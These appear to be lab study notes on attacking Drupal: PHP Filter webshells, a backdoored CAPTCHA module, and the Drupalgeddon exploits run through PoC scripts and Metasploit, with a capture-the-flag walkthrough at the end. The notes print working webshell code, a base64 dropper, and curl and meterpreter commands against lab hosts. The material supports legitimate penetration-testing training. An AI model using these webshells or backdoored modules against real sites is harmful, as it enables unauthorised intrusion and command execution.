# Leveraging the PHP Filter Module ## Before version 8 - In older versions of `Drupal` (before version 8), it was possible to log in as an admin and enable the `PHP filter` module, which "Allows embedded PHP code/snippets to be evaluated" ![[images/Pasted image 20260120190945.png]] - We could enable by ticking the check box next to the module and scroll down to `Save configuration` - Next, we could go to Content --> Add content and create a `Basic page` with a malicious PHP snippet such as below formatted as PHP code ```php <?php system($_GET['cmd']); ?> ``` ![[images/Pasted image 20260120191214.png]] - After clicking save, we are be redirected to the newly created page, which in this example is  `http://drupal-qa.inlanefreight.local/node/3` - Now we can access the webshell with the below `cURL` command ```bash curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">" ``` ## Version 8 and on - The [PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1) module is not installed by default starting with version 8 - So, to leverage this functionality, we would have to install the module ourselves - However, since this requires adding something to the client's Drupal instance, we may want to check with them first - Also, once we are done, we should remove or disable the `PHP Filter` module and delete any pages that we created to gain RCE - We'd start by downloading the most recent version of the module from the Drupal website as below ```bash wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz ``` - Once downloaded go to `Administration` > `Reports` > `Available updates`; then, click on `Browse,` select the file from the directory we downloaded it to, and then click `Install` ![[images/Pasted image 20260120191539.png]] - Once the module is installed, we can click on `Content` and create a new basic page, similar to how we did in the Drupal 7 example - Again, be sure to select `PHP code` from the `Text format` dropdown # Uploading a Backdoored Module - `Drupal` allows users with appropriate permissions to upload a new module - A backdoored module can be created by adding a shell to an existing module - Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha) - Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) and download with `wget` as below ```bash wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz tar xvf captcha-8.x-1.2.tar.gz ``` - Then create `shell.php` with the below snippet ```php <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?> ``` - Next, we need to create a `.htaccess` file as below to give ourselves access to the folder - We need to perform this step because `Drupal` denies direct access to the `/modules` folder ```html <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule> ``` - The `.htaccess` configuration above will apply rules for the `/` folder when we request a file in `/modules` - Copy both of these files to the `captcha` folder and create an archive ```bash mv shell.php captcha mv .htaccess captcha tar cvf captcha.tar.gz captcha/ ``` - Assuming we have admin access to the website, click on `Manage` and then `Extend` on the sidebar - Next, click on the `+ Install new module` button, and we will be taken to the install page, such as `http://drupal.inlanefreight.local/admin/modules/install` - Form here, browse to the backdoored Captcha archive and click `Install` ![[images/Pasted image 20260120192119.png]] - Once the installation succeeds, browse to `/modules/captcha/shell.php` to execute commands such as below ```bash curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id ``` # Leveraging Known Vulns - Drupal core has suffered from a few serious remote code execution vulnerabilities, each dubbed `Drupalgeddon` - So far there are 3 Drupalgeddon vulns: - [CVE-2014-3704](https://www.drupal.org/SA-CORE-2014-005), known as Drupalgeddon, affects versions 7.0 up to 7.31 and was fixed in version 7.32. This was a pre-authenticated SQL injection flaw that could be used to upload a malicious form or create a new admin user. - [CVE-2018-7600](https://www.drupal.org/sa-core-2018-002), also known as Drupalgeddon2, is a remote code execution vulnerability, which affects versions of Drupal prior to 7.58 and 8.5.1. The vulnerability occurs due to insufficient input sanitization during user registration, allowing system-level commands to be maliciously injected. - [CVE-2018-7602](https://cvedetails.com/cve/CVE-2018-7602/), also known as Drupalgeddon3, is a remote code execution vulnerability that affects multiple versions of Drupal 7.x and 8.x. This flaw exploits improper validation in the Form API. ## Drupalgeddon - This flaw can be exploited by leveraging a pre-authentication SQLi which can be used to upload malicious code or add an admin user - So let's try adding a new admin user with this [PoC](https://www.exploit-db.com/exploits/34992) script - Once an admin user is added, we could log in and enable the `PHP Filter` module to achieve RCE ```bash python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd ``` - Now login as admin and use on of the above methods to achieve RCE ![[images/Pasted image 20260120192425.png]] - We could also use the [exploit/multi/http/drupal_drupageddon](https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/) Metasploit module to exploit this vuln ## Drupalgeddon2 - To confirm this vuln, we can use [this](https://www.exploit-db.com/exploits/44448) PoC ```bash python3 drupalgeddon2.py Check: http://drupal-dev.inlanefreight.local/hello.txt ``` - Then check to see that the `hello.txt` file was indeed uploaded with `cURL`  ```shell-session curl -s http://drupal-dev.inlanefreight.local/hello.txt ;-) ``` ### Modified script with webshell - Now let's modify the script to gain remote code execution by uploading a malicious PHP file - First let's base64 encode the PHP webshell ```bash echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64 PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K ``` - Then replace the `echo` command in the exploit script with a command to write out our malicious PHP script such as below ```bash echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php ``` - Now runt he modified PoC and confirm RCE with `cURL` ```shell-session python3 drupalgeddon2.py Check: http://drupal-dev.inlanefreight.local/mrb3n.php curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id ``` ## Drupalgeddon3 - [Drupalgeddon3](https://github.com/rithchard/Drupalgeddon3) is an authenticated RCE vuln that affects [multiple versions](https://www.drupal.org/sa-core-2018-004) of Drupal core - A user must have the ability to delete a node for this exploit to function - We can exploit this using Metasploit, but we must first log in and obtain a valid session cookie - We can grab the cookie by viewing the HTTP request in `burp`![[images/Pasted image 20260120193457.png]] - Once we have the session cookie, we can setup the exploit module in `msf` as below ```bash msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195 msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1 msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15 msf6 exploit(multi/http/drupal_drupageddon3) > show options ``` - Now runt he exploit module to gain a `meterpreter` session aka RCE ```bash msf6 exploit(multi/http/drupal_drupageddon3) > exploit meterpreter > getuid ``` # Exercise ## Initial Enum - `ping` test ![[images/Pasted image 20260120194258.png]] - `nmap` scans ![[images/Pasted image 20260120194416.png]] - update `/etc/hosts` ![[images/Pasted image 20260120194405.png]] - visit pages - `drupal-qa` ![[images/Pasted image 20260120194449.png]] - `drupal-dev` ![[images/Pasted image 20260120194514.png]] ## Enumerate version - view `CHANGELOG.txt` - locked down for `drupal-dev` ![[images/Pasted image 20260120194736.png]] - leaks for `drupal-qa` ![[images/Pasted image 20260120194743.png]] ## Add webshell with php milter module - Because we have a `drupal` instance prior to version 8, we can enable the php filter module and insert a webshell - Login as `admin:admin` ![[images/Pasted image 20260120194947.png]] - Select `Modules` from the header ![[images/Pasted image 20260120195052.png]] - `PHP filter` module is already enabled ![[images/Pasted image 20260120195118.png]] - Select `Content` from the header, then select `+ Add content` ![[images/Pasted image 20260120195208.png]] - Create a basic page with the php webshell, then select PHP code as the text format from the drop-down and save ![[images/Pasted image 20260120195315.png]] - Looks like a new page `/node/3` has been created ![[images/Pasted image 20260120195401.png]] - Test webshell with below ```bash curl -s http://drupal-qa.inlanefreight.local/node/3?cmd=id | grep uid | cut -f4 -d">" ``` - We have a functional webshell ![[images/Pasted image 20260120195506.png]] - `cat` flag within `/var/www/drupal.inlanefreight.local` directory ![[images/Pasted image 20260120200008.png]]